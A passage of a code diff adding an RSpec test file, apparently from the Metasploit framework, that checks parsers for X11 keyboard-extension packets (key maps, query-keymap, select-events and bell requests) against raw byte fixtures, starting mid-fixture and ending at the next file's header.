"\000\000\001\203\002\003\004\000\000\000\001\201\003\001\004\000\000\000" \ + "\001\202\003\002\004\000\000\000\001\004\004\004\000\000\000\000\001\a" \ + "\004\a\000\000\000\000\001\005\005\005\000\000\000\000\001\006\005\006" \ + "\000\000\000\000\001\204\006\004\004\000\000\000\001\207\006\a\004\000" \ + "\000\000\001\205\a\005\004\000\000\000\001\206\a\006\004\000\000\000" \ + "\201\001\004\000\003\003\000\000\001\001\001\001\000\000\000\000\001" \ + "\200\002\000\004\000\000\000\001\201\002\001\004\000\000\000\201\001" \ + "\004\001\b\a\000\000\001\001\001\001\000\000\000\000\001\200\002\000" \ + "\004\000\000\000\001\201\003\001\004\000\000\000\000\000\004\000\000" \ + "\001\000\000\000\001\005\001\000\001\000\000\001\200\006\000\004\001" \ + "\000\000\001\201\a\001\004\001\000\000\203\003\004\001\b\r\000\000" \ + "\001\001\001\001\000\000\000\000\001\002\001\002\000\000\000\000\001" \ + "\200\002\000\004\000\000\000\001\201\003\001\004\000\000\000\001\202" \ + "\003\002\004\000\000\000\001\203\002\003\004\000\000\000\000\000\004" \ + "\000\000\001\000\000\000\001\005\001\000\001\000\000\000\002\005\002" \ + "\000\001\000\000\001\200\006\000\004\001\000\000\001\201\a\001\004" \ + "\001\000\000\001\202\a\002\004\001\000\000\001\203\006\003\004\001" \ + "\000\000\223\003\005\001\b\034\001\000\001\001\001\001\000\000\000" \ + "\000\001\200\002\000\004\000\000\000\001\201\003\001\004\000\000" \ + "\000\000\000\004\000\000\001\000\000\000\001\005\001\000\001\000" \ + "\000\001\200\006\000\004\001\000\000\001\201\a\001\004\001\000\000" \ + "\001\020\004\000\001\000\000\000\001\021\005\001\001\000\000\000" \ + "\001\220\006\000\005\000\000\000\001\221\a\001\005\000\000\000\001" \ + "\021\001\001\001\001\000\000\001\220\002\000\005\001\000\000\001" \ + "\221\003\001\005\001\000\000\001\003\001\003\000\000\000\000\001" \ + "\202\002\002\004\000\000\000\001\203\003\003\004\000\000\000\000" \ + "\002\004\002\000\001\000\000\000\003\005\003\000\001\000\000\001" \ + "\202\006\002\004\001\000\000\001\203\a\003\004\001\000\000\001" \ + "\022\004\002\001\000\000\000\001\023\005\003\001\000\000\000" \ + "\001\222\006\002\005\000\000\000\001\223\a\003\005\000\000\000" \ + "\001\023\001\003\001\001\000\000\001\222\002\002\005\001\000\000" \ + "\001\223\003\003\005\001\000\000\000\000\000\000\000\000\000\000" \ + "\000\000\000\000\000\000\000\000\001\001\000\000\000\000\000\000" \ + "\000\000\000\000\000\000\000\000\001\001\000\000\000\000\000\000" \ + "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" \ + "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" \ + "\001\001\000\000\000\000\000\000\000\000\000\000\000\000\000\000" \ + "\001\001\000\000\000\000\000\000\000\000\000\000\000\000\000\000" \ + "\000\000\000\000\000\000\000\000\223\003\005\001\b\034\001\000" \ + "\001\001\001\001\000\000\000\000\001\200\002\000\004\000\000\000" \ + "\001\201\003\001\004\000\000\000\000\000\004\000\000\001\000\000" \ + "\000\001\005\001\000\001\000\000\001\200\006\000\004\001\000\000" \ + "\001\201\a\001\004\001\000\000\001\020\004\000\001\000\000\000" \ + "\001\021\005\001\001\000\000\000\001\220\006\000\005\000\000\000" \ + "\001\221\a\001\005\000\000\000\001\021\001\001\001\001\000\000" \ + "\001\220\002\000\005\001\000\000\001\221\003\001\005\001\000\000" \ + "\001\002\001\002\000\000\000\000\001\202\002\002\004\000\000\000" \ + "\001\203\003\003\004\000\000\000\000\002\004\002\000\001\000\000" \ + "\000\003\005\003\000\001\000\000\001\202\006\002\004\001\000\000" \ + "\001\203\a\003\004\001\000\000\001\022\004\002\001\000\000\000" \ + "\001\023\005\003\001\000\000\000\001\222\006\002\005\000\000\000" \ + "\001\223\a\003\005\000\000\000\001\022\001\002\001\001\000\000" \ + "\001\222\003\002\005\001\000\000\001\223\002\003\005\001\000\000" \ + "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" \ + "\001\001\000\000\000\000\000\000\000\000\000\000\000\000\000\000" \ + "\001\001\000\000\000\000\000\000\000\000\000\000\000\000\000\000" \ + "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" \ + "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" \ + "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" \ + "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" \ + "\203\003\004\001\b\016\001\000\001\001\001\001\000\000\000\000" \ + "\001\002\001\002\000\000\000\000\001\200\002\000\004\000\000\000" \ + "\001\201\003\001\004\000\000\000\001\202\002\002\004\000\000\000" \ + "\001\203\003\003\004\000\000\000\000\000\004\000\000\001\000\000" \ + "\000\001\005\001\000\001\000\000\000\002\005\002\000\001\000\000" \ + "\000\003\005\003\000\001\000\000\001\200\006\000\004\001\000\000" \ + "\001\201\a\001\004\001\000\000\001\202\006\002\004\001\000\000" \ + "\001\203\a\003\004\001\000\000\000\000\000\000\000\000\000\000" \ + "\000\000\000\000\000\000\000\000\002\002\000\000\002\002\000\000" \ + "\000\000\000\000\000\000\000\000\002\002\000\000\002\002\000\000" \ + "\000\000\000\000\000\000\000\000\002\002\000\000\002\002\000\000" \ + "\201\001\004\000\004\003\000\000\001\001\001\001\000\000\000\000" \ + "\001\200\002\000\004\000\000\000\001\201\003\001\004\000\000\000" \ + "\203\003\004\000\004\006\000\000\001\001\001\001\000\000\000\000" \ + "\001\002\001\002\000\000\000\000\001\200\002\000\004\000\000\000" \ + "\001\201\003\001\004\000\000\000\001\202\003\002\004\000\000\000" \ + "\001\203\002\003\004\000\000\000\203\003\004\000\004\006\001\000" \ + "\001\001\001\001\000\000\000\000\001\002\001\002\000\000\000\000" \ + "\001\200\002\000\004\000\000\000\001\201\003\001\004\000\000\000" \ + "\001\202\002\002\004\000\000\000\001\203\003\003\004\000\000\000" \ + "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" \ + "\002\002\000\000\002\002\000\000\221\001\005\000\004\006\000\000" \ + "\001\020\001\000\001\000\000\000\001\001\001\001\000\000\000\000" \ + "\001\200\002\000\004\000\000\000\001\220\002\000\005\000\000\000" \ + "\001\201\003\001\004\000\000\000\001\221\003\001\005\000\000\000" \ + "\215\005\006\000\004\003\000\000\001\200\001\000\004\000\000\000" \ + "\001\201\002\001\004\000\000\000\001\f\003\004\002\000\000\000" \ + "\203\003\004\000\004\006\001\000\001\001\001\001\000\000\000\000" \ + "\001\002\003\002\000\000\000\000\001\200\002\000\004\000\000\000" \ + "\001\201\003\001\004\000\000\000\001\202\002\002\004\000\000\000" \ + "\001\203\002\003\004\000\000\000\000\000\000\000\002\002\000\000" \ + "\000\000\000\000\000\000\000\000\002\002\000\000\000\000\000\000" \ + "\203\003\004\000\005\a\000\000\001\001\001\001\000\000\000\000" \ + "\001\200\002\000\004\000\000\000\001\201\003\001\004\000\000\000" \ + "\001\002\004\002\000\000\000\000\001\003\001\003\000\000\000\000" \ + "\001\202\002\002\004\000\000\000\001\203\003\003\004\000\000\000" \ + "\221\001\005\000\004\006\000\000\001\001\001\001\000\000\000\000" \ + "\001\020\001\000\001\000\000\000\001\200\002\000\004\000\000\000" \ + "\001\201\003\001\004\000\000\000\001\220\003\000\005\000\000\000" \ + "\001\221\002\001\005\000\000\000\000\000\000\000\000\000\000\000" \ + "\000\000\000\000\001\001\001\000\033\377\000\000\001\000\000\000" \ + "\001\002\002\0001\000\000\000!\000\000\000\001\000\000\000\001" \ + "\002\002\0002\000\000\000@\000\000\000\001\000\000\000\001\002" \ + "\002\0003\000\000\000#\000\000\000\001\000\000\000\001\002\002" \ + "\0004\000\000\000$\000\000\000\001\000\000\000\001\002\002\0005" \ + "\000\000\000%\000\000\000\001\000\000\000\001\002\002\0006\000" \ + "\000\000^\000\000\000\001\000\000\000\001\002\002\0007\000\000" \ + "\000&\000\000\000\001\000\000\000\001\002\002\0008\000\000\000*" \ + "\000\000\000\001\000\000\000\001\002\002\0009\000\000\000(\000" \ + "\000\000\001\000\000\000\001\002\002\0000\000\000\000)\000\000" \ + "\000\001\000\000\000\001\002\002\000-\000\000\000_\000\000\000" \ + "\001\000\000\000\001\002\002\000=\000\000\000+\000\000\000\001" \ + "\000\000\000\001\002\002\000\b\377\000\000\b\377\000\000\001\000" \ + "\000\000\001\002\002\000\t\377\000\000 \376\000\000\002\000\000" \ + "\000\001\002\002\000q\000\000\000Q\000\000\000\002\000\000\000" \ + "\001\002\002\000w\000\000\000W\000\000\000\002\000\000\000\001" \ + "\002\002\000e\000\000\000E\000\000\000\002\000\000\000\001\002" \ + "\002\000r\000\000\000R\000\000\000\002\000\000\000\001\002\002" \ + "\000t\000\000\000T\000\000\000\002\000\000\000\001\002\002\000y" \ + "\000\000\000Y\000\000\000\002\000\000\000\001\002\002\000u\000" \ + "\000\000U\000\000\000\002\000\000\000\001\002\002\000i\000\000" \ + "\000I\000\000\000\002\000\000\000\001\002\002\000o\000\000\000O" \ + "\000\000\000\002\000\000\000\001\002\002\000p\000\000\000P\000" \ + "\000\000\001\000\000\000\001\002\002\000[\000\000\000{\000\000" \ + "\000\001\000\000\000\001\002\002\000]\000\000\000}\000\000\000" \ + "\000\000\000\000\001\001\001\000\r\377\000\000\000\000\000\000" \ + "\001\001\001\000\343\377\000\000\002\000\000\000\001\002\002" \ + "\000a\000\000\000A\000\000\000\002\000\000\000\001\002\002\000s" \ + "\000\000\000S\000\000\000\002\000\000\000\001\002\002\000d\000" \ + "\000\000D\000\000\000\002\000\000\000\001\002\002\000f\000\000" \ + "\000F\000\000\000\002\000\000\000\001\002\002\000g\000\000\000G" \ + "\000\000\000\002\000\000\000\001\002\002\000h\000\000\000H\000" \ + "\000\000\002\000\000\000\001\002\002\000j\000\000\000J\000\000" \ + "\000\002\000\000\000\001\002\002\000k\000\000\000K\000\000\000" \ + "\002\000\000\000\001\002\002\000l\000\000\000L\000\000\000\001" \ + "\000\000\000\001\002\002\000;\000\000\000:\000\000\000\001\000" \ + "\000\000\001\002\002\000'\000\000\000\"\000\000\000\001\000\000" \ + "\000\001\002\002\000`\000\000\000~\000\000\000\000\000\000\000" \ + "\001\001\001\000\341\377\000\000\001\000\000\000\001\002\002\000" \ + "\\\000\000\000|\000\000\000\002\000\000\000\001\002\002\000z\000" \ + "\000\000Z\000\000\000\002\000\000\000\001\002\002\000x\000\000" \ + "\000X\000\000\000\002\000\000\000\001\002\002\000c\000\000\000C" \ + "\000\000\000\002\000\000\000\001\002\002\000v\000\000\000V\000" \ + "\000\000\002\000\000\000\001\002\002\000b\000\000\000B\000\000" \ + "\000\002\000\000\000\001\002\002\000n\000\000\000N\000\000\000" \ + "\002\000\000\000\001\002\002\000m\000\000\000M\000\000\000\001" \ + "\000\000\000\001\002\002\000,\000\000\000<\000\000\000\001\000" \ + "\000\000\001\002\002\000.\000\000\000>\000\000\000\001\000\000" \ + "\000\001\002\002\000/\000\000\000?\000\000\000\000\000\000\000" \ + "\001\001\001\000\342\377\000\000\f\000\000\000\001\005\005\000" \ + "\252\377\000\000\252\377\000\000\252\377\000\000\252\377\000" \ + "\000!\376\b\020\001\000\000\000\001\002\002\000\351\377\000\000" \ + "\347\377\000\000\000\000\000\000\001\001\001\000 \000\000\000" \ + "\000\000\000\000\001\001\001\000\345\377\000\000\f\000\000\000" \ + "\001\005\005\000\276\377\000\000\276\377\000\000\276\377\000" \ + "\000\276\377\000\000\001\376\b\020\f\000\000\000\001\005\005" \ + "\000\277\377\000\000\277\377\000\000\277\377\000\000\277\377" \ + "\000\000\002\376\b\020\f\000\000\000\001\005\005\000\300\377" \ + "\000\000\300\377\000\000\300\377\000\000\300\377\000\000\003" \ + "\376\b\020\f\000\000\000\001\005\005\000\301\377\000\000\301" \ + "\377\000\000\301\377\000\000\301\377\000\000\004\376\b\020\f" \ + "\000\000\000\001\005\005\000\302\377\000\000\302\377\000\000" \ + "\302\377\000\000\302\377\000\000\005\376\b\020\f\000\000\000" \ + "\001\005\005\000\303\377\000\000\303\377\000\000\303\377\000" \ + "\000\303\377\000\000\006\376\b\020\f\000\000\000\001\005\005" \ + "\000\304\377\000\000\304\377\000\000\304\377\000\000\304\377" \ + "\000\000\a\376\b\020\f\000\000\000\001\005\005\000\305\377" \ + "\000\000\305\377\000\000\305\377\000\000\305\377\000\000\b" \ + "\376\b\020\f\000\000\000\001\005\005\000\306\377\000\000\306" \ + "\377\000\000\306\377\000\000\306\377\000\000\t\376\b\020\f" \ + "\000\000\000\001\005\005\000\307\377\000\000\307\377\000\000" \ + "\307\377\000\000\307\377\000\000\n\376\b\020\000\000\000\000" \ + "\001\001\001\000\177\377\000\000\000\000\000\000\001\001\001" \ + "\000\024\377\000\000\003\000\000\000\001\002\002\000\225\377" \ + "\000\000\267\377\000\000\003\000\000\000\001\002\002\000\227" \ + "\377\000\000\270\377\000\000\003\000\000\000\001\002\002\000" \ + "\232\377\000\000\271\377\000\000\f\000\000\000\001\005\005" \ + "\000\255\377\000\000\255\377\000\000\255\377\000\000\255" \ + "\377\000\000#\376\b\020\003\000\000\000\001\002\002\000\226" \ + "\377\000\000\264\377\000\000\003\000\000\000\001\002\002" \ + "\000\235\377\000\000\265\377\000\000\003\000\000\000\001" \ + "\002\002\000\230\377\000\000\266\377\000\000\f\000\000\000" \ + "\001\005\005\000\253\377\000\000\253\377\000\000\253\377" \ + "\000\000\253\377\000\000\"\376\b\020\003\000\000\000\001" \ + "\002\002\000\234\377\000\000\261\377\000\000\003\000\000" \ + "\000\001\002\002\000\231\377\000\000\262\377\000\000\003" \ + "\000\000\000\001\002\002\000\233\377\000\000\263\377\000" \ + "\000\003\000\000\000\001\002\002\000\236\377\000\000\260" \ + "\377\000\000\003\000\000\000\001\002\002\000\237\377\000" \ + "\000\256\377\000\000\000\000\000\000\001\001\001\000\003" \ + "\376\000\000\000\000\000\000\000\000\000\000\024\000\000" \ + "\000\001\004\004\000<\000\000\000>\000\000\000|\000\000" \ + "\000\246\000\000\000\f\000\000\000\001\005\005\000\310" \ + "\377\000\000\310\377\000\000\310\377\000\000\310\377\000" \ + "\000\v\376\b\020\f\000\000\000\001\005\005\000\311\377" \ + "\000\000\311\377\000\000\311\377\000\000\311\377\000\000" \ + "\f\376\b\020\000\000\000\000\000\000\000\000\000\000\000" \ + "\000\001\001\001\000&\377\000\000\000\000\000\000\001" \ + "\001\001\000%\377\000\000\000\000\000\000\001\001\001" \ + "\000#\377\000\000\000\000\000\000\001\001\001\000'\377" \ + "\000\000\000\000\000\000\001\001\001\000\"\377\000\000" \ + "\000\000\000\000\000\000\000\000\000\000\000\000\001" \ + "\001\001\000\215\377\000\000\000\000\000\000\001\001" \ + "\001\000\344\377\000\000\f\000\000\000\001\005\005\000" \ + "\257\377\000\000\257\377\000\000\257\377\000\000\257" \ + "\377\000\000 \376\b\020\t\000\000\000\001\002\002\000a" \ + "\377\000\000\025\377\000\000\001\000\000\000\001\002" \ + "\002\000\352\377\000\000\350\377\000\000\000\000\000" \ + "\000\001\001\001\000\n\377\000\000\000\000\000\000\001" \ + "\001\001\000P\377\000\000\000\000\000\000\001\001\001" \ + "\000R\377\000\000\000\000\000\000\001\001\001\000U\377" \ + "\000\000\000\000\000\000\001\001\001\000Q\377\000\000" \ + "\000\000\000\000\001\001\001\000S\377\000\000\000\000" \ + "\000\000\001\001\001\000W\377\000\000\000\000\000\000" \ + "\001\001\001\000T\377\000\000\000\000\000\000\001\001" \ + "\001\000V\377\000\000\000\000\000\000\001\001\001\000c" \ + "\377\000\000\000\000\000\000\001\001\001\000\377\377" \ + "\000\000\000\000\000\000\000\000\000\000\000\000\000" \ + "\000\001\001\001\000\022\377\b\020\000\000\000\000\001" \ + "\001\001\000\021\377\b\020\000\000\000\000\001\001\001" \ + "\000\023\377\b\020\000\000\000\000\001\001\001\000*" \ + "\377\b\020\000\000\000\000\001\001\001\000\275\377\000" \ + "\000\000\000\000\000\001\001\001\000\261\000\000\000" \ + "\006\000\000\000\001\002\002\000\023\377\000\000k\377" \ + "\000\000\000\000\000\000\001\001\001\000J\377\b\020" \ + "\003\000\000\000\001\002\002\000\256\377\000\000\256" \ + "\377\000\000\000\000\000\000\001\001\001\0001\377\000" \ + "\000\000\000\000\000\001\001\001\0004\377\000\000\000" \ + "\000\000\000\000\000\000\000\000\000\000\000\001\001" \ + "\001\000\353\377\000\000\000\000\000\000\001\001\001" \ + "\000\354\377\000\000\000\000\000\000\001\001\001\000g" \ + "\377\000\000\000\000\000\000\001\001\001\000i\377\000" \ + "\000\000\000\000\000\001\001\001\000f\377\000\000\000\000\000" \ + "\000\001\001\001\000p\377\005\020\000\000\000\000\001\001\001" \ + "\000e\377\000\000\000\000\000\000\001\001\001\000q\377\005\020" \ + "\000\000\000\000\001\001\001\000W\377\b\020\000\000\000\000\001" \ + "\001\001\000k\377\b\020\000\000\000\000\001\001\001\000m\377\b" \ + "\020\000\000\000\000\001\001\001\000h\377\000\000\000\000\000" \ + "\000\001\001\001\000X\377\b\020\000\000\000\000\001\001\001\000" \ + "j\377\000\000\000\000\000\000\001\001\001\000e\377\b\020\000\000" \ + "\000\000\001\001\001\000\035\377\b\020\000\000\000\000\000\000" \ + "\000\000\000\000\000\000\001\001\001\000/\377\b\020\000\000\000" \ + "\000\001\001\001\000+\377\b\020\000\000\000\000\001\001\001\000" \ + "]\377\b\020\000\000\000\000\001\001\001\000{\377\b\020\000\000" \ + "\000\000\000\000\000\000\000\000\000\000\001\001\001\000\212" \ + "\377\b\020\000\000\000\000\001\001\001\000A\377\b\020\000\000" \ + "\000\000\001\001\001\000B\377\b\020\000\000\000\000\001\001" \ + "\001\000.\377\b\020\000\000\000\000\001\001\001\000Z\377\b" \ + "\020\000\000\000\000\001\001\001\000-\377\b\020\000\000\000" \ + "\000\001\001\001\000t\377\b\020\000\000\000\000\001\001\001" \ + "\000\177\377\b\020\000\000\000\000\001\001\001\000\031\377\b" \ + "\020\000\000\000\000\001\001\001\0000\377\b\020\000\000\000\000" \ + "\001\001\001\0003\377\b\020\000\000\000\000\001\001\001\000&" \ + "\377\b\020\000\000\000\000\001\001\001\000'\377\b\020\000\000" \ + "\000\000\000\000\000\000\000\000\000\000\001\001\001\000,\377" \ + "\b\020\000\000\000\000\001\001\001\000,\377\b\020\000\000\000" \ + "\000\001\001\001\000\027\377\b\020\001\000\000\000\001\002\002" \ + "\000\024\377\b\0201\377\b\020\000\000\000\000\001\001\001\000" \ + "\026\377\b\020\001\000\000\000\001\002\002\000\025\377\b\020," \ + "\377\b\020\000\000\000\000\001\001\001\000\034\377\b\020\000" \ + "\000\000\000\001\001\001\000>\377\b\020\000\000\000\000\001" \ + "\001\001\000n\377\b\020\000\000\000\000\000\000\000\000\000\000" \ + "\000\000\001\001\001\000\201\377\b\020\000\000\000\000\001\001" \ + "\001\000\030\377\b\020\000\000\000\000\001\001\001\000s\377\b" \ + "\020\000\000\000\000\001\001\001\000V\377\b\020\000\000\000\000" \ + "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" \ + "\000\001\001\001\000x\377\b\020\000\000\000\000\001\001\001\000" \ + "y\377\b\020\000\000\000\000\001\001\001\000(\000\000\000\000\000" \ + "\000\000\001\001\001\000)\000\000\000\000\000\000\000\001\001" \ + "\001\000h\377\b\020\000\000\000\000\001\001\001\000f\377\000\000" \ + "\000\000\000\000\001\001\001\000\201\377\b\020\000\000\000\000" \ + "\001\001\001\000E\377\b\020\000\000\000\000\001\001\001\000F\377" \ + "\b\020\000\000\000\000\001\001\001\000G\377\b\020\000\000\000\000" \ + "\001\001\001\000H\377\b\020\000\000\000\000\001\001\001\000I\377\b" \ + "\020\000\000\000\000\000\000\000\000\000\000\000\000\001\001\001" \ + "\000\262\377\b\020\000\000\000\000\001\001\001\000\251\377\b\020" \ + "\000\000\000\000\001\001\001\000\260\377\b\020\000\000\000\000\001" \ + "\001\001\000\261\377\b\020\000\000\000\000\000\000\000\000\000\000" \ + "\000\000\001\001\001\000~\377\000\000\001\000\000\000\001\002\002" \ + "\000\000\000\000\000\351\377\000\000\001\000\000\000\001\002\002" \ + "\000\000\000\000\000\347\377\000\000\001\000\000\000\001\002\002" \ + "\000\000\000\000\000\353\377\000\000\001\000\000\000\001\002\002" \ + "\000\000\000\000\000\355\377\000\000\000\000\000\000\001\001\001" \ + "\000\024\377\b\020\000\000\000\000\001\001\001\0001\377\b\020\000" \ + "\000\000\000\001\001\001\000C\377\b\020\000\000\000\000\001\001" \ + "\001\000D\377\b\020\000\000\000\000\001\001\001\000K\377\b\020" \ + "\000\000\000\000\001\001\001\000\247\377\b\020\000\000\000\000" \ + "\001\001\001\000V\377\b\020\000\000\000\000\001\001\001\000\024" \ + "\377\b\020\000\000\000\000\001\001\001\000\227\377\b\020\000\000" \ + "\000\000\000\000\000\000\000\000\000\000\001\001\001\000a\377\000" \ + "\000\000\000\000\000\000\000\000\000\000\000\000\000\001\001\001" \ + "\000\217\377\b\020\000\000\000\000\001\001\001\000\266\377\b\020" \ + "\000\000\000\000\000\000\000\000\000\000\000\000\001\001\001\000" \ + "\031\377\b\020\000\000\000\000\001\001\001\000\216\377\b\020\000" \ + "\000\000\000\001\001\001\000\033\377\b\020\000\000\000\000\001" \ + "\001\001\000_\377\b\020\000\000\000\000\001\001\001\000<\377\b" \ + "\020\000\000\000\000\001\001\001\000^\377\b\020\000\000\000\000" \ + "\001\001\001\0006\377\b\020\000\000\000\000\000\000\000\000\000" \ + "\000\000\000\001\001\001\000i\377\000\000\000\000\000\000\001\001" \ + "\001\000\003\377\b\020\000\000\000\000\001\001\001\000\002\377\b" \ + "\020\000\000\000\000\001\001\001\0002\377\b\020\000\000\000\000" \ + "\001\001\001\000Y\377\b\020\000\000\000\000\001\001\001\000\004" \ + "\377\b\020\000\000\000\000\001\001\001\000\006\377\b\020\000\000" \ + "\000\000\001\001\001\000\005\377\b\020\000\000\000\000\001\001" \ + "\001\000{\377\b\020\000\000\000\000\001\001\001\000r\377\b\020" \ + "\000\000\000\000\001\001\001\000\220\377\b\020\000\000\000\000" \ + "\001\001\001\000w\377\b\020\000\000\000\000\001\001\001\000[\377" \ + "\b\020\000\000\000\000\001\001\001\000\223\377\b\020\000\000\000" \ + "\000\001\001\001\000\224\377\b\020\000\000\000\000\001\001\001" \ + "\000\225\377\b\020\000\000\000\000\001\001\001\000\226\377\b" \ + "\020\000\000\000\000\000\000\000\000\000\000\000\000\001\001\001" \ + "\000\"\376\b\020\000\000\000\000\001\001\001\000#\376\b\020\000" \ + "\000\000\000\001\001\001\000\a\377\b\020\000\000\000\000\001\001" \ + "\001\000\364\020\b\020\000\000\000\000\001\001\001\000\365\020\b" \ + "\020\000\000\000\000\001\001\001\000\264\377\b\020\000\000\000" \ + "\000\001\001\001\000\265\377\b\020%\0042\001>\001@\bB\002M\020" \ + "\\\200i\004l\b\205@\206@\313\200\315\b\316@\317@\000\000" + end + + let(:get_querykeymap_resp) do + "\x01\x00\x0f\x25\x02\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00" + end + + let(:keyboard_select_events_new_keyboard_notify) do + "\x88\x01\x05\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x05\x00\x05\x00" + end + + let(:keyboard_select_events_map_notify) do + "\x88\x01\x04\x00\x03\x00\x02\x00\x00\x00\x00\x00\x07\x00\x07\x00" + end + + let(:keyboard_get_map_request) do + "\x88\x08\x07\x00\x00\x01\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + let(:key_map_request) do + "\x2c\x00\x01\x00" + end + + let(:set_bell) do + "\x88\x03\x07\x00\x00\x01\x00\x03\x00\x04\x32\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x2e\x03\x00\x00\x00\x00\x00\x00" + end + + describe 'X11GetMapReply' do + context '#read' do + it do + response = Rex::Proto::X11::Xkeyboard::X11GetMapReply.read(get_keyboardmap_resp) + expect(response.min_key_code).to eq(8) + expect(response.max_key_code).to eq(255) + + expect(response.n_types).to eq(28) + expect(response.key_types_array.length).to eq(28) + # spot check a few of the key_types_array items + expect(response.key_types_array[12].mods_mask).to eq(141) + expect(response.key_types_array[12].key_map_array.length).to eq(4) + expect(response.key_types_array[12].key_mods_array.length).to eq(4) + expect(response.key_types_array[13].mods_mask).to eq(135) + expect(response.key_types_array[13].key_map_array.length).to eq(15) + + expect(response.n_key_sym).to eq(248) + # spot check a few of the key_map_array items + expect(response.key_map_array[247].key_sym_array[0]).to eq(269025205) + + expect(response.total_mod_map_key).to eq(15) + # spot check a few of the key_mod_map_array items + expect(response.key_mod_map_array[0].keycode).to eq(37) + expect(response.key_mod_map_array[0].mods).to eq(4) + expect(response.key_mod_map_array[14].keycode).to eq(207) + expect(response.key_mod_map_array[14].mods).to eq(64) + end + + # this was a crash case from https://github.com/rapid7/metasploit-framework/pull/18877#issuecomment-2445152666 + it do + response = Rex::Proto::X11::Xkeyboard::X11GetMapReply.read(get_keyboardmap_resp_2) + expect(response.min_key_code).to eq(8) + expect(response.max_key_code).to eq(255) + + expect(response.n_types).to eq(28) + expect(response.key_types_array.length).to eq(28) + # spot check a few of the key_types_array items + expect(response.key_types_array[12].mods_mask).to eq(141) + expect(response.key_types_array[12].key_map_array.length).to eq(4) + expect(response.key_types_array[12].key_mods_array.length).to eq(4) + expect(response.key_types_array[13].mods_mask).to eq(135) + expect(response.key_types_array[13].key_map_array.length).to eq(14) + + expect(response.n_key_sym).to eq(248) + # spot check a few of the key_map_array items + expect(response.key_map_array[247].key_sym_array[0]).to eq(269025205) + + expect(response.total_mod_map_key).to eq(15) + # spot check a few of the key_mod_map_array items + expect(response.key_mod_map_array[0].keycode).to eq(37) + expect(response.key_mod_map_array[0].mods).to eq(4) + expect(response.key_mod_map_array[14].keycode).to eq(207) + expect(response.key_mod_map_array[14].mods).to eq(64) + end + end + end + + describe 'X11QueryKeyMapRequest' do + context '#read' do + it do + response = Rex::Proto::X11::Xkeyboard::X11QueryKeyMapReply.read(get_querykeymap_resp) + expect(response.reply).to eq(1) + expect(response.sequence_number).to eq(9487) + expect(response.response_length).to eq(2) + expect(response.data).to eq([ + 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\ + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 + ]) + end + end + end + + describe 'X11QueryKeyMapRequest' do + context '#initialize' do + it do + request = Rex::Proto::X11::Xkeyboard::X11QueryKeyMapRequest.new + expect(request.to_binary_s).to eq(key_map_request) + end + end + context '#read' do + it do + request = Rex::Proto::X11::Xkeyboard::X11QueryKeyMapRequest.read(key_map_request) + expect(request.opcode).to eq(44) + end + end + end + + describe 'X11SelectEvents' do + context '#read' do + it do + # test against packet pulled from wireshark + request = Rex::Proto::X11::Xkeyboard::X11SelectEvents.read(keyboard_select_events_new_keyboard_notify) + expect(request.xkeyboard_id).to eq(136) + expect(request.extension_minor).to eq(1) + expect(request.request_length).to eq(5) + expect(request.device_spec).to eq(3) + expect(request.affect_which_new_keyboard_notify).to eq(1) + expect(request.affect_new_keyboard_key_codes).to eq(1) + expect(request.affect_new_keyboard_device_id).to eq(1) + # build packet and ensure it matches + end + end + + context '#initialize' do + it do + request = Rex::Proto::X11::Xkeyboard::X11SelectEvents.new( + xkeyboard_id: 136, + extension_minor: 1, + device_spec: 3, + affect_which_new_keyboard_notify: 1, + affect_new_keyboard_key_codes: 1, + affect_new_keyboard_device_id: 1, + new_keyboard_details_key_codes: 1, + new_keyboard_details_device_id: 1 + ) + expect(request.to_binary_s).to eq(keyboard_select_events_new_keyboard_notify) + end + end + end + + describe 'X11SelectEvents' do + context '#read' do + it do + # test against packet pulled from wireshark + request = Rex::Proto::X11::Xkeyboard::X11SelectEvents.read(keyboard_select_events_map_notify) + expect(request.xkeyboard_id).to eq(136) + expect(request.extension_minor).to eq(1) + expect(request.request_length).to eq(4) + expect(request.device_spec).to eq(3) + expect(request.affect_which_map_notify).to eq(1) + expect(request.map_key_types).to eq(1) + expect(request.map_key_syms).to eq(1) + expect(request.map_modifier_map).to eq(1) + end + end + + context '#initialize' do + it do + request = Rex::Proto::X11::Xkeyboard::X11SelectEvents.new( + xkeyboard_id: 136, + extension_minor: 1, + device_spec: 3, + affect_which_map_notify: 1, + affect_map_key_types: 1, + affect_map_key_syms: 1, + affect_map_modifier_map: 1, + map_key_types: 1, + map_key_syms: 1, + map_modifier_map: 1 + ) + expect(request.to_binary_s).to eq(keyboard_select_events_map_notify) + end + end + end + + describe 'X11BellRequest' do + context '#read' do + it do + # test against packet pulled from wireshark + request = Rex::Proto::X11::Xkeyboard::X11BellRequest.read(set_bell) + expect(request.xkeyboard_id).to eq(136) + expect(request.extension_minor).to eq(3) + expect(request.request_length).to eq(7) + expect(request.device_spec).to eq(256) + expect(request.bell_class).to eq(768) + expect(request.bell_id).to eq(1024) + expect(request.percent).to eq(50) + expect(request.force_sound).to eq(0) + expect(request.sound_only).to eq(0) + expect(request.pitch).to eq(0) + expect(request.duration).to eq(0) + expect(request.window).to eq(0) + expect(request.name).to eq(814) + end + end + context '#initialize' do + it do + request = Rex::Proto::X11::Xkeyboard::X11BellRequest.new( + xkeyboard_id: 136 + ) + expect(request.to_binary_s).to eq(set_bell) + end + end + end +end diff --git a/spec/module_validation_spec.rb b/spec/module_validation_spec.rb index 